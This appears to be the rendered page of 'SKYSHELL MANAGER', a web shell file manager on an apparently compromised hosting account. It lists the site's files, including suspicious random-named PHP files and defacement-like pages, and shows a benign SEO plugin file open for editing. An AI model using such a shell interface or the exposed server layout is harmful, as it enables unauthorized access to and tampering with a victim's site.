📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: imageseo.php
<?php /* * SITESEO * https://siteseo.io * (c) SiteSEO Team */ namespace SiteSEO; if(!defined('ABSPATH')){ die('HACKING ATTEMPT!'); } class ImageSeo{ static function init(){ global $siteseo; if(empty($siteseo->setting_enabled['toggle-advanced'])){ return; // toggle disable } if(!empty($siteseo->advanced_settings['advanced_attachments'])){ add_action('template_redirect', '\SiteSEO\ImageSeo::redirect_attachment_to_parent'); } if(!empty($siteseo->advanced_settings['advanced_clean_filename'])){ add_filter('sanitize_file_name', '\SiteSEO\ImageSeo::clean_media_filename', 10, 1); } if(!empty($siteseo->advanced_settings['advanced_image_auto_alt_editor']) || !empty($siteseo->advanced_settings['advanced_image_auto_caption_editor']) || !empty($siteseo->advanced_settings['advanced_image_auto_desc_editor']) || !empty($siteseo->advanced_settings['advanced_image_auto_title_editor']) ){ add_action('add_attachment', '\SiteSEO\ImageSeo::set_image_content'); } } static function set_image_content($attachment_id){ global $siteseo; if(!wp_attachment_is_image($attachment_id)){ return; } $attachment = get_post($attachment_id); $file_name = pathinfo($attachment->guid, PATHINFO_FILENAME); $file_name = sanitize_file_name($file_name); $file_name = ucwords(str_replace(['-', '_'], ' ', $file_name)); // WooCommerce product img $is_woocommerce_product_image = false; $product_title = ''; $parent_id = $attachment->post_parent; if(!empty($parent_id)){ $parent_post = get_post($parent_id); if(!empty($parent_post) && $parent_post->post_type === 'product'){ $is_woocommerce_product_image = true; $product_title = get_the_title($parent_id); } } $file_name = $is_woocommerce_product_image ? $product_title : $file_name; // Adding alt text to the image if(!empty($siteseo->advanced_settings['advanced_image_auto_alt_editor'])){ update_post_meta($attachment_id, '_wp_attachment_image_alt', $file_name); } $options = []; $options['ID'] = $attachment_id; // Adding Title to the image if(!empty($siteseo->advanced_settings['advanced_image_auto_title_editor'])){ $options['post_title'] = $file_name; } // Adding Img Caption if(!empty($siteseo->advanced_settings['advanced_image_auto_caption_editor'])){ $options['post_content'] = $file_name; } // Adding Img Caption if(!empty($siteseo->advanced_settings['advanced_image_auto_desc_editor'])){ $options['post_excerpt'] = $file_name; } if(count($options) > 1){ wp_update_post($options); } } static function clean_media_filename($filename){ $filename = strtolower($filename); $filename = preg_replace('/[^a-z0-9-._]+/', '-', $filename); $filename = trim($filename, '-.'); return $filename; } static function redirect_attachment_to_parent(){ if(is_attachment()){ $attachment_id = get_queried_object_id(); $parent_id = wp_get_post_parent_id($attachment_id); if(!empty($parent_id)){ wp_safe_redirect(get_permalink($parent_id)); }else{ wp_safe_redirect(home_url()); } exit; } } }
Save